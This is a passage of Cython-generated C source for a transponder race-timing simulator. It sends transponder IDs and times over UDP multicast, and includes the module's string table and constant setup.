__pyx_t_7 = PyObject_GetItem(__pyx_v_ll, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyObject_GetItem(__pyx_t_1, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_2, __pyx_t_3}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_2, __pyx_t_3}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_3); __pyx_t_2 = 0; __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_1, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 149, __pyx_L17_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "simulator.py":147 * # #################### * if ok: * try: # <<<<<<<<<<<<<< * message = str(tp) +" " + str( tc ) * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) */ } __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; __Pyx_XDECREF(__pyx_t_14); __pyx_t_14 = 0; goto __pyx_L24_try_end; __pyx_L17_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; /* "simulator.py":150 * message = str(tp) +" " + str( tc ) * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) * except socket.timeout: # <<<<<<<<<<<<<< * print("exception on send multicast") * finally: */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 150, __pyx_L19_except_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_timeout); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 150, __pyx_L19_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_8) { __Pyx_AddTraceback("simulator.decoder.decoder", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_5, &__pyx_t_4, &__pyx_t_1) < 0) __PYX_ERR(0, 150, __pyx_L19_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_1); /* "simulator.py":151 * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) * except socket.timeout: * print("exception on send multicast") # <<<<<<<<<<<<<< * finally: * message="" */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 151, __pyx_L19_except_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; goto __pyx_L18_exception_handled; } goto __pyx_L19_except_error; __pyx_L19_except_error:; /* "simulator.py":147 * # #################### * if ok: * try: # <<<<<<<<<<<<<< * message = str(tp) +" " + str( tc ) * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); goto __pyx_L15_error; __pyx_L18_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_14); __Pyx_ExceptionReset(__pyx_t_12, __pyx_t_13, __pyx_t_14); __pyx_L24_try_end:; } } /* "simulator.py":153 * print("exception on send multicast") * finally: * message="" # <<<<<<<<<<<<<< * * sleep( randrange(50, 500) / factor) */ /*finally:*/ { /*normal exit:*/{ __Pyx_INCREF(__pyx_kp_u__7); __Pyx_XDECREF_SET(__pyx_v_message, __pyx_kp_u__7); goto __pyx_L16; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L15_error:; __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_17, &__pyx_t_18, &__pyx_t_19); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12) < 0)) __Pyx_ErrFetch(&__pyx_t_14, &__pyx_t_13, &__pyx_t_12); __Pyx_XGOTREF(__pyx_t_14); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __pyx_t_8 = __pyx_lineno; __pyx_t_15 = __pyx_clineno; __pyx_t_16 = __pyx_filename; { __Pyx_INCREF(__pyx_kp_u__7); __Pyx_XDECREF_SET(__pyx_v_message, __pyx_kp_u__7); } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_ExceptionReset(__pyx_t_17, __pyx_t_18, __pyx_t_19); } __Pyx_XGIVEREF(__pyx_t_14); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_ErrRestore(__pyx_t_14, __pyx_t_13, __pyx_t_12); __pyx_t_14 = 0; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_lineno = __pyx_t_8; __pyx_clineno = __pyx_t_15; __pyx_filename = __pyx_t_16; goto __pyx_L1_error; } __pyx_L16:; } /* "simulator.py":146 * ok = True * # #################### * if ok: # <<<<<<<<<<<<<< * try: * message = str(tp) +" " + str( tc ) */ } /* "simulator.py":155 * message="" * * sleep( randrange(50, 500) / factor) # <<<<<<<<<<<<<< * exit(0) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_sleep); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_randrange); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_factor); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyNumber_Divide(__pyx_t_3, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_t_2}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } /* "simulator.py":156 * * sleep( randrange(50, 500) / factor) * exit(0) # <<<<<<<<<<<<<< */ __pyx_t_1 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "simulator.py":115 * * * def decoder(self, laptime, delay, ip, port, type): # <<<<<<<<<<<<<< * * while(1): # loop forever */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __Pyx_AddTraceback("simulator.decoder.decoder", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_tc); __Pyx_XDECREF(__pyx_v_tp); __Pyx_XDECREF(__pyx_v_ll); __Pyx_XDECREF(__pyx_v_sp); __Pyx_XDECREF(__pyx_v_ap); __Pyx_XDECREF(__pyx_v_message); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyMethodDef __pyx_methods[] = { {0, 0, 0, 0} }; #if PY_MAJOR_VERSION >= 3 static struct PyModuleDef __pyx_moduledef = { #if PY_VERSION_HEX < 0x03020000 { PyObject_HEAD_INIT(NULL) NULL, 0, NULL }, #else PyModuleDef_HEAD_INIT, #endif "simulator", 0, /* m_doc */ -1, /* m_size */ __pyx_methods /* m_methods */, NULL, /* m_reload */ NULL, /* m_traverse */ NULL, /* m_clear */ NULL /* m_free */ }; #endif static __Pyx_StringTabEntry __pyx_string_tab[] = { {&__pyx_n_s_AF_INET, __pyx_k_AF_INET, sizeof(__pyx_k_AF_INET), 0, 0, 1, 1}, {&__pyx_kp_u_Auto_assign_Transponder_activate, __pyx_k_Auto_assign_Transponder_activate, sizeof(__pyx_k_Auto_assign_Transponder_activate), 0, 1, 0, 0}, {&__pyx_n_s_C_concurrents_TP_fmt, __pyx_k_C_concurrents_TP_fmt, sizeof(__pyx_k_C_concurrents_TP_fmt), 0, 0, 1, 1}, {&__pyx_n_s_Globals, __pyx_k_Globals, sizeof(__pyx_k_Globals), 0, 0, 1, 1}, {&__pyx_n_s_IPPROTO_IP, __pyx_k_IPPROTO_IP, sizeof(__pyx_k_IPPROTO_IP), 0, 0, 1, 1}, {&__pyx_n_s_IP_MULTICAST_TTL, __pyx_k_IP_MULTICAST_TTL, sizeof(__pyx_k_IP_MULTICAST_TTL), 0, 0, 1, 1}, {&__pyx_n_s_L_racerlist, __pyx_k_L_racerlist, sizeof(__pyx_k_L_racerlist), 0, 0, 1, 1}, {&__pyx_n_s_MainWindow, __pyx_k_MainWindow, sizeof(__pyx_k_MainWindow), 0, 0, 1, 1}, {&__pyx_n_s_SOCK_DGRAM, __pyx_k_SOCK_DGRAM, sizeof(__pyx_k_SOCK_DGRAM), 0, 0, 1, 1}, {&__pyx_n_s_Thread, __pyx_k_Thread, sizeof(__pyx_k_Thread), 0, 0, 1, 1}, {&__pyx_n_s_UserRole, __pyx_k_UserRole, sizeof(__pyx_k_UserRole), 0, 0, 1, 1}, {&__pyx_kp_u__5, __pyx_k__5, sizeof(__pyx_k__5), 0, 1, 0, 0}, {&__pyx_kp_u__7, __pyx_k__7, sizeof(__pyx_k__7), 0, 1, 0, 0}, {&__pyx_n_s_ap, __pyx_k_ap, sizeof(__pyx_k_ap), 0, 0, 1, 1}, {&__pyx_n_s_append, __pyx_k_append, sizeof(__pyx_k_append), 0, 0, 1, 1}, {&__pyx_n_s_args, __pyx_k_args, sizeof(__pyx_k_args), 0, 0, 1, 1}, {&__pyx_n_u_auto_assign, __pyx_k_auto_assign, sizeof(__pyx_k_auto_assign), 0, 1, 0, 1}, {&__pyx_n_u_b, __pyx_k_b, sizeof(__pyx_k_b), 0, 1, 0, 1}, {&__pyx_n_s_c, __pyx_k_c, sizeof(__pyx_k_c), 0, 0, 1, 1}, {&__pyx_n_s_count, __pyx_k_count, sizeof(__pyx_k_count), 0, 0, 1, 1}, {&__pyx_n_s_createThread, __pyx_k_createThread, sizeof(__pyx_k_createThread), 0, 0, 1, 1}, {&__pyx_n_s_d, __pyx_k_d, sizeof(__pyx_k_d), 0, 0, 1, 1}, {&__pyx_n_s_data, __pyx_k_data, sizeof(__pyx_k_data), 0, 0, 1, 1}, {&__pyx_n_s_decoder, __pyx_k_decoder, sizeof(__pyx_k_decoder), 0, 0, 1, 1}, {&__pyx_n_s_decoder_createThread, __pyx_k_decoder_createThread, sizeof(__pyx_k_decoder_createThread), 0, 0, 1, 1}, {&__pyx_n_s_decoder_decoder, __pyx_k_decoder_decoder, sizeof(__pyx_k_decoder_decoder), 0, 0, 1, 1}, {&__pyx_n_s_delay, __pyx_k_delay, sizeof(__pyx_k_delay), 0, 0, 1, 1}, {&__pyx_n_u_delay, __pyx_k_delay, sizeof(__pyx_k_delay), 0, 1, 0, 1}, {&__pyx_n_s_doc, __pyx_k_doc, sizeof(__pyx_k_doc), 0, 0, 1, 1}, {&__pyx_n_s_e, __pyx_k_e, sizeof(__pyx_k_e), 0, 0, 1, 1}, {&__pyx_n_s_encode, __pyx_k_encode, sizeof(__pyx_k_encode), 0, 0, 1, 1}, {&__pyx_kp_u_exception_on_send_multicast, __pyx_k_exception_on_send_multicast, sizeof(__pyx_k_exception_on_send_multicast), 0, 1, 0, 0}, {&__pyx_n_s_exit, __pyx_k_exit, sizeof(__pyx_k_exit), 0, 0, 1, 1}, {&__pyx_n_s_factor, __pyx_k_factor, sizeof(__pyx_k_factor), 0, 0, 1, 1}, {&__pyx_kp_s_home_thor_Devel_Transponder_Chr, __pyx_k_home_thor_Devel_Transponder_Chr, sizeof(__pyx_k_home_thor_Devel_Transponder_Chr), 0, 0, 1, 0}, {&__pyx_n_s_howmany, __pyx_k_howmany, sizeof(__pyx_k_howmany), 0, 0, 1, 1}, {&__pyx_n_u_howmany, __pyx_k_howmany, sizeof(__pyx_k_howmany), 0, 1, 0, 1}, {&__pyx_n_s_i, __pyx_k_i, sizeof(__pyx_k_i), 0, 0, 1, 1}, {&__pyx_n_s_i_finish, __pyx_k_i_finish, sizeof(__pyx_k_i_finish), 0, 0, 1, 1}, {&__pyx_n_s_i_laps, __pyx_k_i_laps, sizeof(__pyx_k_i_laps), 0, 0, 1, 1}, {&__pyx_n_s_i_lastline, __pyx_k_i_lastline, sizeof(__pyx_k_i_lastline), 0, 0, 1, 1}, {&__pyx_n_s_i_partial, __pyx_k_i_partial, sizeof(__pyx_k_i_partial), 0, 0, 1, 1}, {&__pyx_n_s_import, __pyx_k_import, sizeof(__pyx_k_import), 0, 0, 1, 1}, {&__pyx_kp_u_in_simulator_createThread_socket, __pyx_k_in_simulator_createThread_socket, sizeof(__pyx_k_in_simulator_createThread_socket), 0, 1, 0, 0}, {&__pyx_n_s_index, __pyx_k_index, sizeof(__pyx_k_index), 0, 0, 1, 1}, {&__pyx_n_s_ip, __pyx_k_ip, sizeof(__pyx_k_ip), 0, 0, 1, 1}, {&__pyx_n_s_item, __pyx_k_item, sizeof(__pyx_k_item), 0, 0, 1, 1}, {&__pyx_n_s_items, __pyx_k_items, sizeof(__pyx_k_items), 0, 0, 1, 1}, {&__pyx_n_s_laptime, __pyx_k_laptime, sizeof(__pyx_k_laptime), 0, 0, 1, 1}, {&__pyx_n_u_laptime, __pyx_k_laptime, sizeof(__pyx_k_laptime), 0, 1, 0, 1}, {&__pyx_n_s_ll, __pyx_k_ll, sizeof(__pyx_k_ll), 0, 0, 1, 1}, {&__pyx_n_s_main, __pyx_k_main, sizeof(__pyx_k_main), 0, 0, 1, 1}, {&__pyx_n_s_message, __pyx_k_message, sizeof(__pyx_k_message), 0, 0, 1, 1}, {&__pyx_n_s_metaclass, __pyx_k_metaclass, sizeof(__pyx_k_metaclass), 0, 0, 1, 1}, {&__pyx_n_s_mgroup, __pyx_k_mgroup, sizeof(__pyx_k_mgroup), 0, 0, 1, 1}, {&__pyx_n_s_module, __pyx_k_module, sizeof(__pyx_k_module), 0, 0, 1, 1}, {&__pyx_n_u_multi_ip, __pyx_k_multi_ip, sizeof(__pyx_k_multi_ip), 0, 1, 0, 1}, {&__pyx_n_s_name, __pyx_k_name, sizeof(__pyx_k_name), 0, 0, 1, 1}, {&__pyx_n_s_ok, __pyx_k_ok, sizeof(__pyx_k_ok), 0, 0, 1, 1}, {&__pyx_n_s_pack, __pyx_k_pack, sizeof(__pyx_k_pack), 0, 0, 1, 1}, {&__pyx_n_s_partials, __pyx_k_partials, sizeof(__pyx_k_partials), 0, 0, 1, 1}, {&__pyx_n_s_port, __pyx_k_port, sizeof(__pyx_k_port), 0, 0, 1, 1}, {&__pyx_n_u_port, __pyx_k_port, sizeof(__pyx_k_port), 0, 1, 0, 1}, {&__pyx_n_s_prepare, __pyx_k_prepare, sizeof(__pyx_k_prepare), 0, 0, 1, 1}, {&__pyx_n_s_print, __pyx_k_print, sizeof(__pyx_k_print), 0, 0, 1, 1}, {&__pyx_n_s_qualname, __pyx_k_qualname, sizeof(__pyx_k_qualname), 0, 0, 1, 1}, {&__pyx_n_s_racerList, __pyx_k_racerList, sizeof(__pyx_k_racerList), 0, 0, 1, 1}, {&__pyx_n_s_random, __pyx_k_random, sizeof(__pyx_k_random), 0, 0, 1, 1}, {&__pyx_n_s_randrange, __pyx_k_randrange, sizeof(__pyx_k_randrange), 0, 0, 1, 1}, {&__pyx_n_s_range, __pyx_k_range, sizeof(__pyx_k_range), 0, 0, 1, 1}, {&__pyx_n_s_rl, __pyx_k_rl, sizeof(__pyx_k_rl), 0, 0, 1, 1}, {&__pyx_n_s_self, __pyx_k_self, sizeof(__pyx_k_self), 0, 0, 1, 1}, {&__pyx_n_s_sendto, __pyx_k_sendto, sizeof(__pyx_k_sendto), 0, 0, 1, 1}, {&__pyx_n_s_setsockopt, __pyx_k_setsockopt, sizeof(__pyx_k_setsockopt), 0, 0, 1, 1}, {&__pyx_n_s_settimeout, __pyx_k_settimeout, sizeof(__pyx_k_settimeout), 0, 0, 1, 1}, {&__pyx_n_s_simulator, __pyx_k_simulator, sizeof(__pyx_k_simulator), 0, 0, 1, 1}, {&__pyx_n_s_sleep, __pyx_k_sleep, sizeof(__pyx_k_sleep), 0, 0, 1, 1}, {&__pyx_n_s_sock, __pyx_k_sock, sizeof(__pyx_k_sock), 0, 0, 1, 1}, {&__pyx_n_s_socket, __pyx_k_socket, sizeof(__pyx_k_socket), 0, 0, 1, 1}, {&__pyx_n_s_sockets, __pyx_k_sockets, sizeof(__pyx_k_sockets), 0, 0, 1, 1}, {&__pyx_n_s_sp, __pyx_k_sp, sizeof(__pyx_k_sp), 0, 0, 1, 1}, {&__pyx_n_s_struct, __pyx_k_struct, sizeof(__pyx_k_struct), 0, 0, 1, 1}, {&__pyx_n_s_t, __pyx_k_t, sizeof(__pyx_k_t), 0, 0, 1, 1}, {&__pyx_n_s_target, __pyx_k_target, sizeof(__pyx_k_target), 0, 0, 1, 1}, {&__pyx_n_s_tc, __pyx_k_tc, sizeof(__pyx_k_tc), 0, 0, 1, 1}, {&__pyx_n_s_test, __pyx_k_test, sizeof(__pyx_k_test), 0, 0, 1, 1}, {&__pyx_n_s_theThead, __pyx_k_theThead, sizeof(__pyx_k_theThead), 0, 0, 1, 1}, {&__pyx_n_s_threading, __pyx_k_threading, sizeof(__pyx_k_threading), 0, 0, 1, 1}, {&__pyx_n_s_time, __pyx_k_time, sizeof(__pyx_k_time), 0, 0, 1, 1}, {&__pyx_n_s_timeout, __pyx_k_timeout, sizeof(__pyx_k_timeout), 0, 0, 1, 1}, {&__pyx_n_s_tp, __pyx_k_tp, sizeof(__pyx_k_tp), 0, 0, 1, 1}, {&__pyx_n_s_tpRacerList, __pyx_k_tpRacerList, sizeof(__pyx_k_tpRacerList), 0, 0, 1, 1}, {&__pyx_n_s_tp_base, __pyx_k_tp_base, sizeof(__pyx_k_tp_base), 0, 0, 1, 1}, {&__pyx_n_s_transponder, __pyx_k_transponder, sizeof(__pyx_k_transponder), 0, 0, 1, 1}, {&__pyx_n_u_transponder, __pyx_k_transponder, sizeof(__pyx_k_transponder), 0, 1, 0, 1}, {&__pyx_n_s_ttl, __pyx_k_ttl, sizeof(__pyx_k_ttl), 0, 0, 1, 1}, {&__pyx_n_s_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 0, 1, 1}, {&__pyx_n_u_type, __pyx_k_type, sizeof(__pyx_k_type), 0, 1, 0, 1}, {0, 0, 0, 0, 0, 0, 0} }; static int __Pyx_InitCachedBuiltins(void) { __pyx_builtin_print = __Pyx_GetBuiltinName(__pyx_n_s_print); if (!__pyx_builtin_print) __PYX_ERR(0, 76, __pyx_L1_error) __pyx_builtin_range = __Pyx_GetBuiltinName(__pyx_n_s_range); if (!__pyx_builtin_range) __PYX_ERR(0, 79, __pyx_L1_error) __pyx_builtin_exit = __Pyx_GetBuiltinName(__pyx_n_s_exit); if (!__pyx_builtin_exit) __PYX_ERR(0, 156, __pyx_L1_error) return 0; __pyx_L1_error:; return -1; } static int __Pyx_InitCachedConstants(void) { __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("__Pyx_InitCachedConstants", 0); /* "simulator.py":76 * delay = decoder['delay']*factor * if decoder['type'] == 0 and decoder['auto_assign']: * print( "Auto assign Transponder activated") # <<<<<<<<<<<<<< * i = 0 * rl = Globals.MainWindow.L_racerlist */ __pyx_tuple_ = PyTuple_Pack(1, __pyx_kp_u_Auto_assign_Transponder_activate); if (unlikely(!__pyx_tuple_)) __PYX_ERR(0, 76, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple_); __Pyx_GIVEREF(__pyx_tuple_); /* "simulator.py":90 * self.mgroup[ type ] = (d['multi_ip'],d['port']) * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) # <<<<<<<<<<<<<< * ttl = struct.pack('b', 10) * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) */ __pyx_tuple__2 = PyTuple_Pack(1, __pyx_float_0_1); if (unlikely(!__pyx_tuple__2)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__2); __Pyx_GIVEREF(__pyx_tuple__2); /* "simulator.py":91 * sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) * sock.settimeout(0.1) * ttl = struct.pack('b', 10) # <<<<<<<<<<<<<< * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * self.sockets[ type ] = sock */ __pyx_tuple__3 = PyTuple_Pack(2, __pyx_n_u_b, __pyx_int_10); if (unlikely(!__pyx_tuple__3)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__3); __Pyx_GIVEREF(__pyx_tuple__3); /* "simulator.py":95 * self.sockets[ type ] = sock * except Exception as e: * print("in simulator.createThread( socket creation ) got Error") # <<<<<<<<<<<<<< * print( e ) * */ __pyx_tuple__4 = PyTuple_Pack(1, __pyx_kp_u_in_simulator_createThread_socket); if (unlikely(!__pyx_tuple__4)) __PYX_ERR(0, 95, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__4); __Pyx_GIVEREF(__pyx_tuple__4); /* "simulator.py":151 * self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) * except socket.timeout: * print("exception on send multicast") # <<<<<<<<<<<<<< * finally: * message="" */ __pyx_tuple__6 = PyTuple_Pack(1, __pyx_kp_u_exception_on_send_multicast); if 